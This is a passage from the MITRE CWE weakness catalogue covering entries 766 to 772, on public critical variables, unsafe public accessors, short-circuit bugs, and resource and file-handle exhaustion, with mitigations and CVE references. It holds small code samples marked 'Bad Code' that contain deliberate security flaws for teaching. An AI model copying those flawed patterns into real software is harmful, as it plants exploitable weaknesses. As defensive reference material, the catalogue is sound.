DoS: crash / exit / restart

Modify memory

Unexpected state

#### Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice

#### Potential Mitigations

##### Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		667	Improper Locking	<b>699</b>	1032
ChildOf		675	Duplicate Operations on Resource	1000	1043
ChildOf		987	SFP Secondary Cluster: Multiple Locks/Unlocks	<b>888</b>	1387

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP21	Multiple locks/unlocks

### Maintenance Notes

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be

degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

## CWE-766: Critical Variable Declared Public

**Weakness ID:** 766 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

The software declares a critical variable or field to be public when intended security policy requires it to be private.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C++
- C#
- Java

#### Common Consequences

##### Integrity

##### Confidentiality

##### Read application data

##### Modify application data

Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.

#### Likelihood of Exploit

Low to Medium

#### Demonstrative Examples

##### Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

##### C++ Example:

*Bad Code*

```
public: char* password;
```

Instead, the critical data should be declared private.

##### C++ Example:

*Good Code*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

##### Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

##### C++ Example:

*Bad Code*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
public:
    UserAccount(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
    }
};
```

```

    }
    strcpy(this->username, username);
    strcpy(this->password, password);
}
int authorizeAccess(char *username, char *password)
{
    if ((strlen(username) > MAX_USERNAME_LENGTH) ||
        (strlen(password) > MAX_PASSWORD_LENGTH)) {
        ExitError("Invalid username or password");
    }
    // if the username and password in the input parameters are equal to
    // the username and password of this account class then authorize access
    if (strcmp(this->username, username) ||
        strcmp(this->password, password))
        return 0;
    // otherwise do not authorize access
    else
        return 1;
}
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};
    
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

**C++ Example:**

*Good Code*

```

class UserAccount
{
public:
    ...
private:
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
    
```

**Observed Examples**

Reference	Description
CVE-2010-3860	variables declared public allows remote read of system properties such as user name and home directory.

**Potential Mitigations**

**Implementation**

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b>	819 1000
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	<b>888</b>	1404

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to protect stored data from modification
CERT Java Secure Coding	OBJ01-J	Declare data members as private and provide accessible wrapper methods
Software Fault Patterns	SFP28	Unexpected access points

CWE-766: Critical Variable Declared Public

# CWE-767: Access to Critical Private Variable via Public Method

Weakness ID: 767 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software defines a public method that reads or modifies a private variable.

### Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C++
- C#
- Java

### Common Consequences

#### Integrity

#### Other

#### Modify application data

#### Other

### Likelihood of Exploit

Low to Medium

### Demonstrative Examples

#### Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

#### C++ Example:

Bad Code

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

#### Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

#### Java Example:

Bad Code

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNameToUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo, accidentally specified the critical variable UID instead. If the program allows profile IDs to



be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

### Potential Mitigations

#### Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b> 1000	819
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to protect stored data from modification
Software Fault Patterns	SFP23	Exposed Data

### Maintenance Notes

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

## CWE-768: Incorrect Short Circuit Evaluation

Weakness ID: 768 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

#### Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

### Time of Introduction

- Implementation

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

Widely varied consequences are possible if an attacker is aware of an unexpected state in the software after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.

### Likelihood of Exploit

Very Low

### Demonstrative Examples

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is,  $A[\text{len}-1] = \text{len} - 1$ ;  $A[\text{len}-2] = \text{len} - 2$ ; ...  $A[1] = 1$ ;  $A[0] = 0$ ; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with  $i == 1$ , the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in  $A[0]$  when we return the array to the user.

**C Example:***Bad Code*





```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV\_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV\_ADMIN.

**Potential Mitigations****Implementation**

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	<b>699</b>	332
ChildOf		691	Insufficient Control Flow Management	<b>1000</b>	1072
ChildOf		871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	<b>868</b>	1312
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to protect stored data from modification
CERT C++ Secure Coding	EXP02-CPP	Be aware of the short-circuit behavior of the logical AND and OR operators
Software Fault Patterns	SFP1	Glitch in computation

## CWE-769: File Descriptor Exhaustion

Category ID: 769 (Category)

Status: Incomplete

**Description****Summary**

The software can be influenced by an attacker to open more files than are supported by the system.

**Extended Description**

There are at least three distinct scenarios which can commonly lead to file descriptor exhaustion:

- Lack of throttling for the number of open file descriptors
- Losing all references to a file descriptor before reaching the shutdown stage
- Not closing file descriptors after processing

#### Time of Introduction

- Architecture and Design
- Implementation

#### Likelihood of Exploit

Low to Medium

#### Potential Mitigations

##### Implementation

##### Architecture and Design

If file I/O is being supported by an application for multiple users, balancing the resource allotment across the group may help to prevent exhaustion as well as differentiate malicious activity from an insufficient resource pool.

##### Implementation

Consider using the `getrlimit()` function included in the `sys/resources` library in order to determine how many files are currently allowed to be opened for the process.

#### Relationships

Nature	Type	ID	Name	CV	Page
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	699	688
ParentOf	V	773	Missing Reference to Active File Descriptor or Handle	699	1187
ParentOf	V	774	Allocation of File Descriptors or Handles Without Limits or Throttling	699	1188
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	699	1189

#### References

"kernel.org man page for `getrlimit()`". < <http://www.kernel.org/doc/man-pages/online/pages/man2/setrlimit.2.html> >.

## CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID: 770 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on how many resources can be allocated, in violation of the intended security policy for that actor.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation
- System Configuration

#### Applicable Platforms

##### Languages

- Language-Independent

#### Common Consequences

**Availability****DoS: resource consumption (CPU)****DoS: resource consumption (memory)****DoS: resource consumption (other)**

When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Manual Static Analysis**

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

**Fuzzing****Opportunistic**

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.

When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

**Automated Dynamic Analysis**

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

**Automated Static Analysis**

Specialized configuration or tuning may be required to train automated tools to recognize this weakness.

Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

**Demonstrative Examples****Example 1:**

This code allocates a socket and forks each time it receives a new connection.

**C/C++ Example:***Bad Code*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of

connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

### Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

#### C/C++ Example:

*Bad Code*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

### Example 3:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

#### C/C++ Example:

*Bad Code*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check. Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

**C/C++ Example:***Good Code*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

**Example 4:**

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

**Java Example:***Bad Code*

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

**Java Example:***Good Code*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

**Example 5:**

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

### References

Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.

### Observed Examples

Reference	Description
CVE-2005-4650	CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation.
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
CVE-2009-4017	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts..

### Potential Mitigations

#### Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

#### Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

#### Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.



**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

This will only be applicable to cases where user input can influence the size or frequency of resource allocations.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Architecture and Design**

Mitigation of resource exhaustion attacks requires that the target system either:

- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays

- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, he may be able to prevent the user from accessing the server in question.

The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

**Architecture and Design**

Ensure that protocols have specific limits of scale placed on them.

**Architecture and Design****Implementation**

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Ensure that all failures in resource allocation place the system into a safe posture.

**Operation****Architecture and Design****Limit Resource Consumption**

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	699	688
ChildOf	B	665	Improper Initialization	1000	1027
ChildOf	C	802	2010 Top 25 - Risky Resource Management	800	1228
ChildOf	C	840	Business Logic Errors	699	1283
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1297
ChildOf	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298
ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1386
ParentOf	V	774	<i>Allocation of File Descriptors or Handles Without Limits or Throttling</i>	1000	1188
ParentOf	V	789	<i>Uncontrolled Memory Allocation</i>	699	1211
				1000	
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

**Theoretical Notes**

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	FIO04-J	Close resources when they are no longer needed
CERT Java Secure Coding	SER12-J	Avoid memory and resource leaks during serialization
CERT Java Secure Coding	MSC05-J	Do not exhaust heap space
CERT C++ Secure Coding	MEM12-CPP	Do not assume infinite heap space
CERT C++ Secure Coding	FIO42-CPP	Ensure files are properly closed when they are no longer needed

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
82	Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))	
99	XML Parser Attack	
119	Deplete Resources	
121	Locate and Exploit Test APIs	
125	Flooding	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
130	Excessive Allocation	
147	XML Ping of the Death	
197	XML Entity Expansion	
229	XML Attribute Blowup	
230	XML Nested Payloads	
231	XML Oversized Payloads	
469	HTTP DoS	

## References

Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). November 2008. < <http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf> >.

D.J. Bernstein. "Resource exhaustion". < <http://cr.yp.to/docs/resources.html> >.

Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < <http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft. 2002.

Frank Kim. "Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling". SANS Software Security Institute. 2010-03-23. < <http://blogs.sans.org/appsecstreetfighter/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "Resource Limits", Page 574.. 1st Edition. Addison Wesley. 2006.

## Maintenance Notes

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

# CWE-771: Missing Reference to Active Allocated Resource

Weakness ID: 771 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

### Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

## Time of Introduction

- Architecture and Design
- Implementation

## Common Consequences

### Availability

#### DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

## Likelihood of Exploit

Medium to High

## Potential Mitigations

**Operation****Architecture and Design****Limit Resource Consumption**

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	1000	688
ChildOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1385
ParentOf	V	773	<i>Missing Reference to Active File Descriptor or Handle</i>	1000	1187

**Theoretical Notes**

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP14	Failure to release resource

**Maintenance Notes**

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

## CWE-772: Missing Release of Resource after Effective Lifetime

**Weakness ID:** 772 (*Weakness Base*) **Status:** Incomplete

**Description****Summary**

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

**Extended Description**

When a resource is not released after use, it can allow attackers to cause a denial of service.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Architectural Paradigms**

- Mobile Application

**Common Consequences****Availability****DoS: resource consumption (other)**

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

**Likelihood of Exploit**

Medium to High

**Demonstrative Examples****Example 1:**

The following code attempts to process a file by reading it in line by line until the end has been reached.

**Java Example:***Bad Code*

```
private void processFile(string fName)
{
    BufferedReader in = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = in.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The problem with the above code is that it never closes the file handle it opens. The Finalize() method for BufferedReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

**Example 2:**

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

**C# Example:***Bad Code*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

**Example 3:**

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

**Java Example:***Bad Code*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

**Example 4:**

This code attempts to open a connection to a database and catches any exceptions that may occur.

**Java Example:***Bad Code*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
```

```
log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

### Example 5:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

#### C# Example:

*Bad Code*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

### Example 6:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

#### C Example:

*Bad Code*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

### Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.
